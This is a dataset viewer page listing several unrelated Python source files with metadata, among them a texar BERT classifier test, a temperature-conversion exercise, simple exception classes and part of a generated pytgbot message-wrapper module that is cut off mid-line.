xszheng2020/the_stack_dedup_python_hits_7 · Datasets at Hugging Face

8356dc9872ae7a470409d14cbf24f45790d817c7

6,928

py

Python

tests/modules/classifiers/bert_classifier_test.py

dyoshioka-555/texar

314ae5d31faef8658e9130e7686066c995d82c67

[ "Apache-2.0" ]

2,325

2018-08-29T19:34:09.000Z

2022-03-26T18:11:58.000Z

tests/modules/classifiers/bert_classifier_test.py

dyoshioka-555/texar

314ae5d31faef8658e9130e7686066c995d82c67

[ "Apache-2.0" ]

183

2018-08-30T02:17:45.000Z

2022-02-23T13:53:58.000Z

tests/modules/classifiers/bert_classifier_test.py

dyoshioka-555/texar

314ae5d31faef8658e9130e7686066c995d82c67

[ "Apache-2.0" ]

421

2018-08-29T20:00:16.000Z

2022-03-08T13:32:03.000Z

""" Unit tests for BERT classifiers. """ import numpy as np import tensorflow as tf from texar.tf.modules.classifiers.bert_classifier import BERTClassifier from texar.tf.utils.test import pretrained_test # pylint: disable=too-many-locals, no-member class BERTClassifierTest(tf.test.TestCase): """Tests :class:`~texar.tf.modules.BERTClassifier` class. """ @pretrained_test def test_model_loading(self): r"""Tests model loading functionality.""" inputs = tf.placeholder(dtype=tf.int32, shape=[None, None]) for pretrained_model_name in BERTClassifier.available_checkpoints(): classifier = BERTClassifier( pretrained_model_name=pretrained_model_name) _, _ = classifier(inputs) def test_trainable_variables(self): """Tests the functionality of automatically collecting trainable variables. """ inputs = tf.placeholder(dtype=tf.int32, shape=[None, None]) # case 1 hparams = { "pretrained_model_name": None, } clas = BERTClassifier(hparams=hparams) _, _ = clas(inputs) self.assertEqual(len(clas.trainable_variables), 199 + 2) # case 2 hparams = { "pretrained_model_name": None, "clas_strategy": "all_time", "max_seq_length": 8, } clas = BERTClassifier(hparams=hparams) _, _ = clas(inputs) self.assertEqual(len(clas.trainable_variables), 199 + 2) # case 2 hparams = { "pretrained_model_name": None, "clas_strategy": "time_wise", } clas = BERTClassifier(hparams=hparams) _, _ = clas(inputs) self.assertEqual(len(clas.trainable_variables), 199 + 2) def test_encode(self): """Tests encoding. """ max_time = 8 batch_size = 16 inputs = tf.random_uniform([batch_size, max_time], maxval=30521, dtype=tf.int32) # case 1 hparams = { "pretrained_model_name": None, } clas = BERTClassifier(hparams=hparams) logits, pred = clas(inputs) with self.test_session() as sess: sess.run(tf.global_variables_initializer()) logits_, pred_ = sess.run([logits, pred]) self.assertEqual(logits_.shape, (batch_size, clas.hparams.num_classes)) self.assertEqual(pred_.shape, (batch_size, )) # case 2 hparams = { "pretrained_model_name": None, "num_classes": 10, "clas_strategy": "time_wise" } clas = BERTClassifier(hparams=hparams) logits, pred = clas(inputs) with self.test_session() as sess: sess.run(tf.global_variables_initializer()) logits_, pred_ = sess.run([logits, pred]) self.assertEqual(logits_.shape, (batch_size, max_time, clas.hparams.num_classes)) self.assertEqual(pred_.shape, (batch_size, max_time)) # case 3 hparams = { "pretrained_model_name": None, "num_classes": 0, "clas_strategy": "time_wise" } clas = BERTClassifier(hparams=hparams) logits, pred = clas(inputs) with self.test_session() as sess: sess.run(tf.global_variables_initializer()) logits_, pred_ = sess.run([logits, pred]) self.assertEqual(logits_.shape, (batch_size, max_time, clas.hparams.encoder.dim)) self.assertEqual(pred_.shape, (batch_size, max_time)) # case 4 hparams = { "pretrained_model_name": None, "num_classes": 10, "clas_strategy": "all_time", "max_seq_length": max_time } inputs = tf.placeholder(tf.int32, shape=[batch_size, 6]) clas = BERTClassifier(hparams=hparams) logits, pred = clas(inputs) with self.test_session() as sess: sess.run(tf.global_variables_initializer()) logits_, pred_ = sess.run( [logits, pred], feed_dict={inputs: np.random.randint(30521, size=(batch_size, 6))}) self.assertEqual(logits_.shape, (batch_size, clas.hparams.num_classes)) self.assertEqual(pred_.shape, (batch_size, )) def test_binary(self): """Tests binary classification. """ max_time = 8 batch_size = 16 inputs = tf.random_uniform([batch_size, max_time], maxval=30521, dtype=tf.int32) # case 2 hparams = { "pretrained_model_name": None, "num_classes": 1, "clas_strategy": "time_wise" } clas = BERTClassifier(hparams=hparams) logits, pred = clas(inputs) with self.test_session() as sess: sess.run(tf.global_variables_initializer()) logits_, pred_ = sess.run([logits, pred]) self.assertEqual(logits_.shape, (batch_size, max_time)) self.assertEqual(pred_.shape, (batch_size, max_time)) # case 3 hparams = { "pretrained_model_name": None, "num_classes": 1, "clas_strategy": "cls_time", "max_seq_length": max_time } inputs = tf.placeholder(tf.int32, shape=[batch_size, 6]) clas = BERTClassifier(hparams=hparams) logits, pred = clas(inputs) with self.test_session() as sess: sess.run(tf.global_variables_initializer()) logits_, pred_ = sess.run( [logits, pred], feed_dict={inputs: np.random.randint(30521, size=(batch_size, 6))}) self.assertEqual(logits_.shape, (batch_size, )) self.assertEqual(pred_.shape, (batch_size, )) # case 4 hparams = { "pretrained_model_name": None, "num_classes": 1, "clas_strategy": "all_time", "max_seq_length": max_time } inputs = tf.placeholder(tf.int32, shape=[batch_size, 6]) clas = BERTClassifier(hparams=hparams) logits, pred = clas(inputs) with self.test_session() as sess: sess.run(tf.global_variables_initializer()) logits_, pred_ = sess.run( [logits, pred], feed_dict={inputs: np.random.randint(30521, size=(batch_size, 6))}) self.assertEqual(logits_.shape, (batch_size, )) self.assertEqual(pred_.shape, (batch_size, )) if __name__ == "__main__": tf.test.main()

34.29703

78

0.553839

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6,928

5.210826

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6,928

201

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null

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1

0

1

0

null

0

7

8358d0baf49a4c748406483746c60c8f791cc815

125

py

Python

Python3/ex014.py

neilsonfa/cursoemvideo

3b8995617f0ee38ac3cf74f79093a9dc6cafc6e8

[ "MIT" ]

null

Python3/ex014.py

neilsonfa/cursoemvideo

3b8995617f0ee38ac3cf74f79093a9dc6cafc6e8

[ "MIT" ]

null

Python3/ex014.py

neilsonfa/cursoemvideo

3b8995617f0ee38ac3cf74f79093a9dc6cafc6e8

[ "MIT" ]

null

C = float(input("Qual a temperatura em graus Celsius?\n")) print("A temperatura em graus Fahrenheit é: {}.".format(C*1.8+32))

62.5

66

0.704

22

125

4

0.772727

0.272727

0.318182

0.431818

0

0.036036

0.112

125

2

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0.619048

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null

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0

1

0

null

0

1

0

7

83672dd6cef847f57ef35c39734f712aec85ea9a

681

py

Python

core/errors.py

rChen10/pywright

a71527b62c072d89c84054b0674b3a65e1227c48

[ "BSD-3-Clause" ]

3

2016-03-16T01:10:09.000Z

2022-02-20T00:33:04.000Z

core/errors.py

rChen10/pywright

a71527b62c072d89c84054b0674b3a65e1227c48

[ "BSD-3-Clause" ]

1

2016-03-16T01:29:57.000Z

core/errors.py

rChen10/pywright

a71527b62c072d89c84054b0674b3a65e1227c48

[ "BSD-3-Clause" ]

5

2016-03-21T02:48:13.000Z

2021-08-18T08:58:09.000Z

class script_error(Exception): def __init__(self,value): self.value = value def __str__(self): return self.value __repr__ = __str__ class art_error(Exception): def __init__(self,value): self.value = value def __str__(self): return self.value __repr__ = __str__ class markup_error(Exception): def __init__(self,value): self.value = value def __str__(self): return self.value __repr__ = __str__ class file_error(Exception): def __init__(self,value): self.value = value def __str__(self): return self.value __repr__ = __str__ class missing_object(script_error): pass class offscreen_text(script_error): pass

32.428571

49

0.706314

88

681

4.647727

0.215909

0.264059

0.166259

0.205379

0.792176

0

0.202643

681

20

50

34.05

0.753223

0

0.7

0

1

0.4

false

0.1

0

0.2

0.9

0

null

1

0

1

0

1

0

null

0

1

0

1

0

1

0

11

360bddaa6f4acfb557509d05868b38a2c22e74be

300,988

py

Python

code_generation/output/teleflask_messages.py

luckydonald/pytgbot

2fd6072e99f2656d335059fc0a1478b2a62f0c4c

[ "MIT" ]

52

2015-06-25T15:48:19.000Z

2021-08-10T20:29:11.000Z

code_generation/output/teleflask_messages.py

luckydonald/pytgbot

2fd6072e99f2656d335059fc0a1478b2a62f0c4c

[ "MIT" ]

16

2016-04-12T08:11:30.000Z

2021-07-22T18:00:07.000Z

code_generation/output/teleflask_messages.py

luckydonald/pytgbot

2fd6072e99f2656d335059fc0a1478b2a62f0c4c

[ "MIT" ]

14

2015-06-26T15:29:48.000Z

2021-08-10T20:29:14.000Z

# -*- coding: utf-8 -*- from luckydonaldUtils.logger import logging from luckydonaldUtils.encoding import unicode_type, to_unicode as u from luckydonaldUtils.exceptions import assert_type_or_raise from pytgbot.api_types.receivable.updates import Message as PytgbotApiMessage from pytgbot.exceptions import TgApiServerException from pytgbot.api_types import TgBotApiObject from pytgbot.bot import Bot as PytgbotApiBot from abc import abstractmethod __author__ = "luckydonald" logger = logging.getLogger(__name__) # noinspection PyPep8Naming class DEFAULT_MESSAGE_ID(object): """ Used for reply_id. """ pass # end class class ReturnableMessageBase(object): def _apply_update_receiver(self, receiver, reply_id): """ Updates `self.receiver` and/or `self.reply_id` if they still contain the default value. :param receiver: The receiver `chat_id` to use. Either `self.receiver`, if set, e.g. when instancing `TextMessage(receiver=10001231231, ...)`, or the `chat.id` of the update context, being the id of groups or the user's `from_peer.id` in private messages. :type receiver: None | str|unicode | int :param reply_id: Reply to that `message_id` in the chat we send to. Either `self.reply_id`, if set, e.g. when instancing `TextMessage(reply_id=123123, ...)`, or the `message_id` of the update which triggered the bot's functions. :type reply_id: DEFAULT_MESSAGE_ID | int | None """ if self.receiver is None: self.receiver = receiver # end if if self.reply_id is DEFAULT_MESSAGE_ID: self.reply_id = reply_id # end if # end def @abstractmethod def send(self, sender: PytgbotApiBot) -> PytgbotApiMessage: try: return self.actual_send(sender) except TgApiServerException as e: if e.error_code == 400 and e.description.startswith('bad request') and 'reply message not found' in e.description: logger.debug('Trying to resend without reply_to.') return self.actual_send(sender, ignore_reply=True) # end if raise e # end try # end def def actual_send(self, sender: PytgbotApiBot, *, ignore_reply: bool = False) -> PytgbotApiMessage: raise NotImplementedError("Overwrite this function.") # end def def to_array(self) -> dict: return {} # end def # end def class TextMessage(ReturnableMessageBase): """ Use this method to send text messages. On success, the sent Message is returned. https://core.telegram.org/bots/api#sendmessage Parameters: :param text: Text of the message to be sent, 1-4096 characters after entities parsing :type text: str|unicode Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param parse_mode: Mode for parsing entities in the message text. See formatting options for more details. :type parse_mode: str|unicode :param entities: A JSON-serialized list of special entities that appear in message text, which can be specified instead of parse_mode :type entities: list of pytgbot.api_types.receivable.media.MessageEntity :param disable_web_page_preview: Disables link previews for links in this message :type disable_web_page_preview: bool :param disable_notification: Sends the message silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool :param reply_markup: Additional interface options. A JSON-serialized object for an inline keyboard, custom reply keyboard, instructions to remove reply keyboard or to force a reply from the user. :type reply_markup: pytgbot.api_types.sendable.reply_markup.InlineKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardRemove | pytgbot.api_types.sendable.reply_markup.ForceReply """ def __init__(self, text, receiver=None, reply_id=DEFAULT_MESSAGE_ID, parse_mode=None, entities=None, disable_web_page_preview=None, disable_notification=None, allow_sending_without_reply=None, reply_markup=None): """ Use this method to send text messages. On success, the sent Message is returned. https://core.telegram.org/bots/api#sendmessage Parameters: :param text: Text of the message to be sent, 1-4096 characters after entities parsing :type text: str|unicode Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param parse_mode: Mode for parsing entities in the message text. See formatting options for more details. :type parse_mode: str|unicode :param entities: A JSON-serialized list of special entities that appear in message text, which can be specified instead of parse_mode :type entities: list of pytgbot.api_types.receivable.media.MessageEntity :param disable_web_page_preview: Disables link previews for links in this message :type disable_web_page_preview: bool :param disable_notification: Sends the message silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool :param reply_markup: Additional interface options. A JSON-serialized object for an inline keyboard, custom reply keyboard, instructions to remove reply keyboard or to force a reply from the user. :type reply_markup: pytgbot.api_types.sendable.reply_markup.InlineKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardRemove | pytgbot.api_types.sendable.reply_markup.ForceReply """ super(TextMessage, self).__init__() from pytgbot.api_types.receivable.media import MessageEntity from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove assert_type_or_raise(text, unicode_type, parameter_name="text") self.text = text assert_type_or_raise(receiver, None, unicode_type, int, parameter_name="receiver") self.receiver = receiver assert_type_or_raise(reply_id, None, DEFAULT_MESSAGE_ID, int, parameter_name="reply_id") self.reply_id = reply_id assert_type_or_raise(parse_mode, None, unicode_type, parameter_name="parse_mode") self.parse_mode = parse_mode assert_type_or_raise(entities, None, list, parameter_name="entities") self.entities = entities assert_type_or_raise(disable_web_page_preview, None, bool, parameter_name="disable_web_page_preview") self.disable_web_page_preview = disable_web_page_preview assert_type_or_raise(disable_notification, None, bool, parameter_name="disable_notification") self.disable_notification = disable_notification assert_type_or_raise(allow_sending_without_reply, None, bool, parameter_name="allow_sending_without_reply") self.allow_sending_without_reply = allow_sending_without_reply assert_type_or_raise(reply_markup, None, InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply, parameter_name="reply_markup") self.reply_markup = reply_markup # custom variable for message chaining self._next_msg = None # end def __init__ def actual_send(self, sender: PytgbotApiBot, *, ignore_reply: bool = False) -> PytgbotApiMessage: """ Send the message via pytgbot. :param sender: The bot instance to send with. :type sender: pytgbot.bot.Bot :param ignore_reply: If we should not include the the `reply_to` parameter, because that already failed. :type ignore_reply: bool :rtype: PytgbotApiMessage """ return sender.send_message( text=self.text, chat_id=self.receiver, reply_to_message_id=self.reply_id, parse_mode=self.parse_mode, entities=self.entities, disable_web_page_preview=self.disable_web_page_preview, disable_notification=self.disable_notification, allow_sending_without_reply=self.allow_sending_without_reply, reply_markup=self.reply_markup, ) # end def send def to_array(self): """ Serializes this TextMessage to a dictionary. :return: dictionary representation of this object. :rtype: dict """ from pytgbot.api_types.receivable.media import MessageEntity from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove array = super(TextMessage, self).to_array() array['text'] = u(self.text) # py2: type unicode, py3: type str if isinstance(self.receiver, str): array['chat_id'] = u(self.receiver) # py2: type unicode, py3: type str elif isinstance(self.receiver, int): array['chat_id'] = int(self.receiver) # type int else: raise TypeError('Unknown type, must be one of str, int.') # end if if isinstance(self.reply_id, DEFAULT_MESSAGE_ID): array['reply_to_message_id'] = DEFAULT_MESSAGE_ID(self.reply_id) # type DEFAULT_MESSAGE_ID elif isinstance(self.reply_id, int): array['reply_to_message_id'] = int(self.reply_id) # type int else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int.') # end if array['parse_mode'] = u(self.parse_mode) # py2: type unicode, py3: type str array['entities'] = PytgbotApiBot._as_array(self.entities) # type list of MessageEntity array['disable_web_page_preview'] = bool(self.disable_web_page_preview) # type bool array['disable_notification'] = bool(self.disable_notification) # type bool array['allow_sending_without_reply'] = bool(self.allow_sending_without_reply) # type bool if isinstance(self.reply_markup, InlineKeyboardMarkup): array['reply_markup'] = self.reply_markup.to_array() # type InlineKeyboardMarkup elif isinstance(self.reply_markup, ReplyKeyboardMarkup): array['reply_markup'] = self.reply_markup.to_array() # type ReplyKeyboardMarkup elif isinstance(self.reply_markup, ReplyKeyboardRemove): array['reply_markup'] = self.reply_markup.to_array() # type ReplyKeyboardRemove elif isinstance(self.reply_markup, ForceReply): array['reply_markup'] = self.reply_markup.to_array() # type ForceReply else: raise TypeError('Unknown type, must be one of InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply.') # end if return array # end def to_array @staticmethod def validate_array(array): """ Builds a new array with valid values for the TextMessage constructor. :return: new array with valid values :rtype: dict """ assert_type_or_raise(array, dict, parameter_name="array") from pytgbot.api_types.receivable.media import MessageEntity from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove data = super(TextMessage, TextMessage).validate_array(array) data['text'] = u(array.get('text')) if array.get('chat_id') is None: data['receiver'] = None elif isinstance(array.get('chat_id'), str): data['receiver'] = u(array.get('chat_id')) elif isinstance(array.get('chat_id'), int): data['receiver'] = int(array.get('chat_id')) else: raise TypeError('Unknown type, must be one of str, int or None.') # end if if array.get('reply_to_message_id') is None: data['reply_id'] = None elif isinstance(array.get('reply_to_message_id'), DEFAULT_MESSAGE_ID): data['reply_id'] = DEFAULT_MESSAGE_ID elif isinstance(array.get('reply_to_message_id'), int): data['reply_id'] = int(array.get('reply_to_message_id')) else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int or None.') # end if data['parse_mode'] = u(array.get('parse_mode')) if array.get('parse_mode') is not None else None data['entities'] = MessageEntity.from_array_list(array.get('entities'), list_level=1) if array.get('entities') is not None else None data['disable_web_page_preview'] = bool(array.get('disable_web_page_preview')) if array.get('disable_web_page_preview') is not None else None data['disable_notification'] = bool(array.get('disable_notification')) if array.get('disable_notification') is not None else None data['allow_sending_without_reply'] = bool(array.get('allow_sending_without_reply')) if array.get('allow_sending_without_reply') is not None else None if array.get('reply_markup') is None: data['reply_markup'] = None elif isinstance(array.get('reply_markup'), InlineKeyboardMarkup): data['reply_markup'] = InlineKeyboardMarkup.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ReplyKeyboardMarkup): data['reply_markup'] = ReplyKeyboardMarkup.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ReplyKeyboardRemove): data['reply_markup'] = ReplyKeyboardRemove.from_array(array.get('reply_markup')) elif isinstance(array.get('reply_markup'), ForceReply): data['reply_markup'] = ForceReply.from_array(array.get('reply_markup')) else: raise TypeError('Unknown type, must be one of InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply or None.') # end if return data # end def validate_array @staticmethod def from_array(array): """ Deserialize a new TextMessage from a given dictionary. :return: new TextMessage instance. :rtype: TextMessage """ if not array: # None or {} return None # end if data = TextMessage.validate_array(array) return TextMessage(**data) # end def from_array def __str__(self): """ Implements `str(textmessage_instance)` """ return "TextMessage(text={self.text!r}, receiver={self.receiver!r}, reply_id={self.reply_id!r}, parse_mode={self.parse_mode!r}, entities={self.entities!r}, disable_web_page_preview={self.disable_web_page_preview!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r}, reply_markup={self.reply_markup!r})".format(self=self) # end def __str__ def __repr__(self): """ Implements `repr(textmessage_instance)` """ return "TextMessage(text={self.text!r}, receiver={self.receiver!r}, reply_id={self.reply_id!r}, parse_mode={self.parse_mode!r}, entities={self.entities!r}, disable_web_page_preview={self.disable_web_page_preview!r}, disable_notification={self.disable_notification!r}, allow_sending_without_reply={self.allow_sending_without_reply!r}, reply_markup={self.reply_markup!r})".format(self=self) # end def __repr__ def __contains__(self, key): """ Implements `"key" in textmessage_instance` """ return ( key in ["text", "receiver", "reply_id", "parse_mode", "entities", "disable_web_page_preview", "disable_notification", "allow_sending_without_reply", "reply_markup"] and hasattr(self, key) and bool(getattr(self, key, None)) ) # end def __contains__ # end class TextMessage class PhotoMessage(ReturnableMessageBase): """ Use this method to send photos. On success, the sent Message is returned. https://core.telegram.org/bots/api#sendphoto Parameters: :param photo: Photo to send. Pass a file_id as String to send a photo that exists on the Telegram servers (recommended), pass an HTTP URL as a String for Telegram to get a photo from the Internet, or upload a new photo using multipart/form-data. The photo must be at most 10 MB in size. The photo's width and height must not exceed 10000 in total. Width and height ratio must be at most 20. More info on Sending Files » :type photo: pytgbot.api_types.sendable.files.InputFile | str|unicode Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param caption: Photo caption (may also be used when resending photos by file_id), 0-1024 characters after entities parsing :type caption: str|unicode :param parse_mode: Mode for parsing entities in the photo caption. See formatting options for more details. :type parse_mode: str|unicode :param caption_entities: A JSON-serialized list of special entities that appear in the caption, which can be specified instead of parse_mode :type caption_entities: list of pytgbot.api_types.receivable.media.MessageEntity :param disable_notification: Sends the message silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool :param reply_markup: Additional interface options. A JSON-serialized object for an inline keyboard, custom reply keyboard, instructions to remove reply keyboard or to force a reply from the user. :type reply_markup: pytgbot.api_types.sendable.reply_markup.InlineKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardRemove | pytgbot.api_types.sendable.reply_markup.ForceReply """ def __init__(self, photo, receiver=None, reply_id=DEFAULT_MESSAGE_ID, caption=None, parse_mode=None, caption_entities=None, disable_notification=None, allow_sending_without_reply=None, reply_markup=None): """ Use this method to send photos. On success, the sent Message is returned. https://core.telegram.org/bots/api#sendphoto Parameters: :param photo: Photo to send. Pass a file_id as String to send a photo that exists on the Telegram servers (recommended), pass an HTTP URL as a String for Telegram to get a photo from the Internet, or upload a new photo using multipart/form-data. The photo must be at most 10 MB in size. The photo's width and height must not exceed 10000 in total. Width and height ratio must be at most 20. More info on Sending Files » :type photo: pytgbot.api_types.sendable.files.InputFile | str|unicode Optional keyword parameters: :param receiver: Set if you want to overwrite the receiver, which automatically is the chat_id in group chats, and the from_peer id in private conversations. :type receiver: str|unicode | int :param reply_id: Set if you want to overwrite the `reply_to_message_id`, which automatically is the message triggering the bot. :type reply_id: DEFAULT_MESSAGE_ID | int :param caption: Photo caption (may also be used when resending photos by file_id), 0-1024 characters after entities parsing :type caption: str|unicode :param parse_mode: Mode for parsing entities in the photo caption. See formatting options for more details. :type parse_mode: str|unicode :param caption_entities: A JSON-serialized list of special entities that appear in the caption, which can be specified instead of parse_mode :type caption_entities: list of pytgbot.api_types.receivable.media.MessageEntity :param disable_notification: Sends the message silently. Users will receive a notification with no sound. :type disable_notification: bool :param allow_sending_without_reply: Pass True, if the message should be sent even if the specified replied-to message is not found :type allow_sending_without_reply: bool :param reply_markup: Additional interface options. A JSON-serialized object for an inline keyboard, custom reply keyboard, instructions to remove reply keyboard or to force a reply from the user. :type reply_markup: pytgbot.api_types.sendable.reply_markup.InlineKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardMarkup | pytgbot.api_types.sendable.reply_markup.ReplyKeyboardRemove | pytgbot.api_types.sendable.reply_markup.ForceReply """ super(PhotoMessage, self).__init__() from pytgbot.api_types.receivable.media import MessageEntity from pytgbot.api_types.sendable.files import InputFile from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove assert_type_or_raise(photo, InputFile, unicode_type, parameter_name="photo") self.photo = photo assert_type_or_raise(receiver, None, unicode_type, int, parameter_name="receiver") self.receiver = receiver assert_type_or_raise(reply_id, None, DEFAULT_MESSAGE_ID, int, parameter_name="reply_id") self.reply_id = reply_id assert_type_or_raise(caption, None, unicode_type, parameter_name="caption") self.caption = caption assert_type_or_raise(parse_mode, None, unicode_type, parameter_name="parse_mode") self.parse_mode = parse_mode assert_type_or_raise(caption_entities, None, list, parameter_name="caption_entities") self.caption_entities = caption_entities assert_type_or_raise(disable_notification, None, bool, parameter_name="disable_notification") self.disable_notification = disable_notification assert_type_or_raise(allow_sending_without_reply, None, bool, parameter_name="allow_sending_without_reply") self.allow_sending_without_reply = allow_sending_without_reply assert_type_or_raise(reply_markup, None, InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply, parameter_name="reply_markup") self.reply_markup = reply_markup # custom variable for message chaining self._next_msg = None # end def __init__ def actual_send(self, sender: PytgbotApiBot, *, ignore_reply: bool = False) -> PytgbotApiMessage: """ Send the message via pytgbot. :param sender: The bot instance to send with. :type sender: pytgbot.bot.Bot :param ignore_reply: If we should not include the the `reply_to` parameter, because that already failed. :type ignore_reply: bool :rtype: PytgbotApiMessage """ return sender.send_photo( photo=self.photo, chat_id=self.receiver, reply_to_message_id=self.reply_id, caption=self.caption, parse_mode=self.parse_mode, caption_entities=self.caption_entities, disable_notification=self.disable_notification, allow_sending_without_reply=self.allow_sending_without_reply, reply_markup=self.reply_markup, ) # end def send def to_array(self): """ Serializes this PhotoMessage to a dictionary. :return: dictionary representation of this object. :rtype: dict """ from pytgbot.api_types.receivable.media import MessageEntity from pytgbot.api_types.sendable.files import InputFile from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove array = super(PhotoMessage, self).to_array() if isinstance(self.photo, InputFile): array['photo'] = self.photo.to_array() # type InputFile elif isinstance(self.photo, str): array['photo'] = u(self.photo) # py2: type unicode, py3: type str else: raise TypeError('Unknown type, must be one of InputFile, str.') # end if if isinstance(self.receiver, str): array['chat_id'] = u(self.receiver) # py2: type unicode, py3: type str elif isinstance(self.receiver, int): array['chat_id'] = int(self.receiver) # type int else: raise TypeError('Unknown type, must be one of str, int.') # end if if isinstance(self.reply_id, DEFAULT_MESSAGE_ID): array['reply_to_message_id'] = DEFAULT_MESSAGE_ID(self.reply_id) # type DEFAULT_MESSAGE_ID elif isinstance(self.reply_id, int): array['reply_to_message_id'] = int(self.reply_id) # type int else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int.') # end if array['caption'] = u(self.caption) # py2: type unicode, py3: type str array['parse_mode'] = u(self.parse_mode) # py2: type unicode, py3: type str array['caption_entities'] = PytgbotApiBot._as_array(self.caption_entities) # type list of MessageEntity array['disable_notification'] = bool(self.disable_notification) # type bool array['allow_sending_without_reply'] = bool(self.allow_sending_without_reply) # type bool if isinstance(self.reply_markup, InlineKeyboardMarkup): array['reply_markup'] = self.reply_markup.to_array() # type InlineKeyboardMarkup elif isinstance(self.reply_markup, ReplyKeyboardMarkup): array['reply_markup'] = self.reply_markup.to_array() # type ReplyKeyboardMarkup elif isinstance(self.reply_markup, ReplyKeyboardRemove): array['reply_markup'] = self.reply_markup.to_array() # type ReplyKeyboardRemove elif isinstance(self.reply_markup, ForceReply): array['reply_markup'] = self.reply_markup.to_array() # type ForceReply else: raise TypeError('Unknown type, must be one of InlineKeyboardMarkup, ReplyKeyboardMarkup, ReplyKeyboardRemove, ForceReply.') # end if return array # end def to_array @staticmethod def validate_array(array): """ Builds a new array with valid values for the PhotoMessage constructor. :return: new array with valid values :rtype: dict """ assert_type_or_raise(array, dict, parameter_name="array") from pytgbot.api_types.receivable.media import MessageEntity from pytgbot.api_types.sendable.files import InputFile from pytgbot.api_types.sendable.reply_markup import ForceReply from pytgbot.api_types.sendable.reply_markup import InlineKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardMarkup from pytgbot.api_types.sendable.reply_markup import ReplyKeyboardRemove data = super(PhotoMessage, PhotoMessage).validate_array(array) if isinstance(array.get('photo'), InputFile): data['photo'] = InputFile.from_array(array.get('photo')) elif isinstance(array.get('photo'), str): data['photo'] = u(array.get('photo')) else: raise TypeError('Unknown type, must be one of InputFile, str.') # end if if array.get('chat_id') is None: data['receiver'] = None elif isinstance(array.get('chat_id'), str): data['receiver'] = u(array.get('chat_id')) elif isinstance(array.get('chat_id'), int): data['receiver'] = int(array.get('chat_id')) else: raise TypeError('Unknown type, must be one of str, int or None.') # end if if array.get('reply_to_message_id') is None: data['reply_id'] = None elif isinstance(array.get('reply_to_message_id'), DEFAULT_MESSAGE_ID): data['reply_id'] = DEFAULT_MESSAGE_ID elif isinstance(array.get('reply_to_message_id'), int): data['reply_id'] = int(array.get('reply_to_message_id')) else: raise TypeError('Unknown type, must be one of DEFAULT_MESSAGE_ID, int or None.') # end if data['caption'] = u(array.get('caption')) if array.get('caption') is not None else None data['parse_mode'] = u(array.get('parse_mode')) if array.get('parse_mode') is not None else None data['caption_entities'] = MessageEntity.from_array_list(array.get('caption_entities'), list_level=1) if array.get('caption_entities') is not None else None data['disable_notification'] = bool(array.get('disable_notification')) if array.get('disable_notification') is not None else None data['allow_sending_without_reply'] = bool(array.get('allow_sending_without_reply')) if array.get('allow_sending_without_reply') is not None else None if array.get('reply_markup') is None: data['reply_markup'] = None elif isinstance(array.get('reply_markup'), InlineKeyboardMarkup): data['reply_markup'] = InlineKeyboardMarkup.from_array(array.get('reply_markup')) elif 